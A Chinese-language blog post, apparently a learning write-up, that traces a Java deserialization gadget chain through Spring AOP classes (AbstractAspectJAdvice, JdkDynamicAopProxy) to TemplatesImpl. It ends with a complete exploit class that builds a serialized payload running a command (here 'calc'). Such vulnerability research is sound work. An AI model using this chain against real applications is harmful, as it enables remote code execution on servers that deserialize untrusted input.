这链子拖了大半年了都没看,最近幡然醒悟还是得学习
环境 用的依赖如下
<dependency > <groupId > org.springframework</groupId > <artifactId > spring-aop</artifactId > <version > 5.3.9</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.7</version > </dependency >
aspectjweaver依赖就是我们之前任意文件写链子用到的,这次要用是因为spring-aop的代码依赖这个库不然到时看代码就会报 字节码与源码不匹配的错误了(
如果想省事可以直接
<dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-aop</artifactId > <version > 2.6.14</version > </dependency >
AbstractAspectJAdvice 文章说通过污点搜索和分析搜索到了org.springframework.aop.aspectj.AbstractAspectJAdvice
这个类,这个类非常的特殊,他在反序列化之后也拥有反射调用方法的能力
还有这是咋通过污点搜索搜到的,大佬求教🥲
这个类我们关注两个方法:
readObject方法
invokeAdviceMethodWithGivenArgs方法
这里invokeAdviceMethodWithGivenArgs
会调用aspectJAdviceMethod获得的方法,aspectJAdviceMethod是一个protected transient
类型的方法
然后在readObject的地方给aspectJAdviceMethod进行了一个赋值
所以现在要解决两个问题:
args是否可控
如何调用invokeAdviceMethodWithGivenArgs
方法
先找到aspectInstanceFactory这个对象的可序列化的类,因为需要调用该对象的getAspectInstace
方法来获取实例,得先可控这个参数,这个对象是一个AspectInstanceFactory接口,找到了他的其中两个实现类可以序列化,SingletonAspectInstanceFactory
和SingletonMetadataAwareAspectInstanceFactory
寻找AbstractAspectJAdvice利用链 现在就是按常规流程开始往上找利用链了
ReflectiveMethodInvocation 基本上从各个链子往上找的话,他们都会先走到一个invoke方法,然后走到ReflectiveMethodInvocation#proceed
这个方法
比如其中一条链子
org.springframework.aop.framework.ReflectiveMethodInvocation#proceed-> org.springframework.aop.aspectj.AspectJAroundAdvice#invoke-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
那看一下proceed方法的具体流程
public Object proceed () throws Throwable { if (this .currentInterceptorIndex == this .interceptorsAndDynamicMethodMatchers.size() - 1 ) { return invokeJoinpoint(); } Object interceptorOrInterceptionAdvice = this .interceptorsAndDynamicMethodMatchers.get(++this .currentInterceptorIndex); if (interceptorOrInterceptionAdvice instanceof InterceptorAndDynamicMethodMatcher) { InterceptorAndDynamicMethodMatcher dm = (InterceptorAndDynamicMethodMatcher) interceptorOrInterceptionAdvice; Class<?> targetClass = (this .targetClass != null ? this .targetClass : this .method.getDeclaringClass()); if (dm.methodMatcher.matches(this .method, targetClass, this .arguments)) { return dm.interceptor.invoke(this ); } else { return proceed(); } } else { return ((MethodInterceptor) interceptorOrInterceptionAdvice).invoke(this ); } }
这里interceptorsAndDynamicMethodMatchers
是一个List列表,只要其不为空就能过if的判断,currentInterceptorIndex就是索引,代码里面赋值为-1
interceptorOrInterceptionAdvice
是从列表里获取的,然后列表也是可以序列化的,索引也就是整数,所以现在就可以认为interceptorOrInterceptionAdvice
是我们可控的了
然后我们可以看到这里有两个invoke方法的调用,按照前面的链子,我们可以直接走else,就省去了很多麻烦
JdkDynamicAopProxy 但是发现ReflectiveMethodInvocation
这个类并没有实现序列化接口,所以要看看有没有其他类在反序列化的时候能够动态创建这个类
我们往上找他的构造方法的调用,发现了JdkDynamicAopProxy#invoke
方法当中创建了ReflectiveMethodInvocation
这个类,然后JdkDynamicAopProxy本身就是一个动态代理而且可以序列化
更巧的是,他在创建了之后就立马调用了proceed方法
回看前面ReflectiveMethodInvocation
我们需要控制的参数,就是那个列表,在这里对应的就是chain 这个变量
chain的获得方式如下:
现在的链子就变成这样
org.springframework.aop.framework.JdkDynamicAopProxy#invoke-> org.springframework.aop.framework.ReflectiveMethodInvocation#proceed-> org.springframework.aop.aspectj.AspectJAroundAdvice#invoke-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
chain的获取 接下来的重点就是怎么控制chain的获取了
List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
他是通过getInterceptorsAndDynamicInterceptionAdvice方法来获取的,看一下这个方法
这段代码有两种方式获取chain
从缓存的methodCache中获取
通过advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice方法获取
先看一下methodCache
被transient修饰,不能序列化
然后在readObject当中,他也是直接就新建了,没有可控的空间,所以第一种方式就不行了
那接下来只能看第二种方式了
这里我们实际上要看的是DefaultAdvisorChainFactory#getInterceptorsAndDynamicInterceptionAdvice
方法
public List<Object> getInterceptorsAndDynamicInterceptionAdvice ( Advised config, Method method, @Nullable Class<?> targetClass) { AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance(); Advisor[] advisors = config.getAdvisors(); List<Object> interceptorList = new ArrayList <>(advisors.length); Class<?> actualClass = (targetClass != null ? targetClass : method.getDeclaringClass()); Boolean hasIntroductions = null ; for (Advisor advisor : advisors) { if (advisor instanceof PointcutAdvisor) { PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor; if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) { MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher(); boolean match; if (mm instanceof IntroductionAwareMethodMatcher) { if (hasIntroductions == null ) { hasIntroductions = hasMatchingIntroductions(advisors, actualClass); } match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions); } else { match = mm.matches(method, actualClass); } if (match) { MethodInterceptor[] interceptors = registry.getInterceptors(advisor); if (mm.isRuntime()) { for (MethodInterceptor interceptor : interceptors) { interceptorList.add(new InterceptorAndDynamicMethodMatcher (interceptor, mm)); } } else { interceptorList.addAll(Arrays.asList(interceptors)); } } } } else if (advisor instanceof IntroductionAdvisor) { IntroductionAdvisor ia = (IntroductionAdvisor) advisor; if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) { Interceptor[] interceptors = registry.getInterceptors(advisor); interceptorList.addAll(Arrays.asList(interceptors)); } } else { Interceptor[] interceptors = registry.getInterceptors(advisor); interceptorList.addAll(Arrays.asList(interceptors)); } } return interceptorList; }
该方法最终返回的是interceptorList对象,然后这里的config实际上就是AdvisedSupport
类,因为前面在调用的时候传递的是this参数
然后核心是看一下interceptorList 这个列表是怎么添加元素的
经过分析,其分为两种方式添加元素:
interceptorList.addAll(Arrays.asList(interceptors));
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
这两种方式都和interceptors有关,interceptors的获取都是通过registry.getInterceptors(advisor);
这种方式
但是registry的获取是一个静态单例
静态单例是无法通过反序列化来控制的,所以只能看看DefaultAdvisorAdapterRegistry#getInterceptors
方法了
public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException { List<MethodInterceptor> interceptors = new ArrayList <>(3 ); Advice advice = advisor.getAdvice(); if (advice instanceof MethodInterceptor) { interceptors.add((MethodInterceptor) advice); } for (AdvisorAdapter adapter : this .adapters) { if (adapter.supportsAdvice(advice)) { interceptors.add(adapter.getInterceptor(advisor)); } } if (interceptors.isEmpty()) { throw new UnknownAdviceTypeException (advisor.getAdvice()); } return interceptors.toArray(new MethodInterceptor [0 ]); }
这里就出现我们可控的东西了,就是这个advisor,这是通过前面的分析可以得知这个是可控的
如果这个变量同时实现Advice
和MethodInterceptor
接口,则可以将其添加到interceptors,这个interceptors就是我们最终返回的目标chain。
这里就找到了一个org.springframework.aop.aspectj.AspectJAfterAdvice
这里实现了MethodInterceptor,但同时也实现AfterAdvice,AfterAdvice又是实现了Advice的,所以该类已经满足两种条件了,但是文章却说没有实现Advice,这点有点奇怪,难道是aop的版本问题吗🤔
如果只实现了其中一个的话,也可以用JdkDynamicAopProxy来代理advice接口
然后还有一点就是advisor的选取,这里找了一个实现类DefaultIntroductionAdvisor
该类也是可以序列化的,现在基本链子都走通了,其他就走老方法利用即可
这里选择templatesImpl#newTransformer
作为最终的反射调用,newTransformer为无参方法,我们也不用考虑如何去控制参数,更加方便
exp编写 目前完整利用链如下
BadAttributeValueExpException#toString-> org.springframework.aop.framework.JdkDynamicAopProxy#invoke-> org.springframework.aop.framework.ReflectiveMethodInvocation#proceed-> org.springframework.aop.aspectj.AspectJAroundAdvice#invoke-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethod(org.aspectj.lang.JoinPoint, org.aspectj.weaver.tools.JoinPointMatch, java.lang.Object, java.lang.Throwable)-> org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs-> TemplatesImpl#newTransformer
现在来确定一下具体的每个类
这里的aspectInstanceFactory选取SingletonAspectInstanceFactory
这个类
这个类可以直接返回我们的TemplatesImpl恶意类,也能序列化,是可控的
这里注意AspectJAroundAdvice是AbstractAspectJAdvice的子类
最终编写的exp如下:
package org.clown;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javafx.beans.binding.ObjectExpression;import javafx.scene.effect.Reflection;import javassist.*;import org.springframework.aop.Advisor;import org.springframework.aop.aspectj.AbstractAspectJAdvice;import org.springframework.aop.aspectj.AspectJAroundAdvice;import org.springframework.aop.aspectj.AspectJExpressionPointcut;import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.framework.DefaultAdvisorChainFactory;import org.springframework.aop.support.DefaultIntroductionAdvisor;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.*;import java.util.ArrayList;import java.util.List;public class exp { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); return baos.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } public static TemplatesImpl getTemplates () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static Object createJdkDynamicAopProxy (AdvisedSupport advised) throws Exception{ Class<?> clazzz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> ctor = clazzz.getDeclaredConstructor(AdvisedSupport.class); ctor.setAccessible(true ); return ctor.newInstance(advised); } public static void main (String[] args) throws Exception{ TemplatesImpl templates = getTemplates(); SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory (templates); Method method = templates.getClass().getMethod("newTransformer" ); AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut (); AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice (method,aspectJExpressionPointcut,singletonAspectInstanceFactory); setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory" ,singletonAspectInstanceFactory); setFieldValue(aspectJAroundAdvice,"declaringClass" ,TemplatesImpl.class); setFieldValue(aspectJAroundAdvice,"methodName" ,"newTransformer" ); setFieldValue(aspectJAroundAdvice,"parameterTypes" ,new Class [0 ]); AdvisedSupport advisedSupport = new AdvisedSupport (); List<Advisor> advisors = new ArrayList <>(); DefaultAdvisorChainFactory defaultAdvisorChainFactory = new DefaultAdvisorChainFactory (); DefaultIntroductionAdvisor defaultIntroductionAdvisor = new DefaultIntroductionAdvisor (aspectJAroundAdvice); advisedSupport.setAdvisorChainFactory(defaultAdvisorChainFactory); advisors.add(defaultIntroductionAdvisor); setFieldValue(advisedSupport,"advisors" ,advisors); InvocationHandler jdkDynamicAopProxy = (InvocationHandler) createJdkDynamicAopProxy(advisedSupport); Proxy proxy = (Proxy) Proxy.newProxyInstance(exp.class.getClassLoader(), AspectJAroundAdvice.class.getInterfaces(), jdkDynamicAopProxy); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,proxy); byte [] serialize = serialize(badAttributeValueExpException); Object deserialize = deserialize(serialize); } }
我这里并没有去再套一层动态代理,直接用AspectJAroundAdvice也是成功了的,所以可以文章作者在写的时候可能有点小错误?🤔虽然再套一层也是没问题的
参考 https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ
https://github.com/Ape1ron/SpringAopInDeserializationDemo1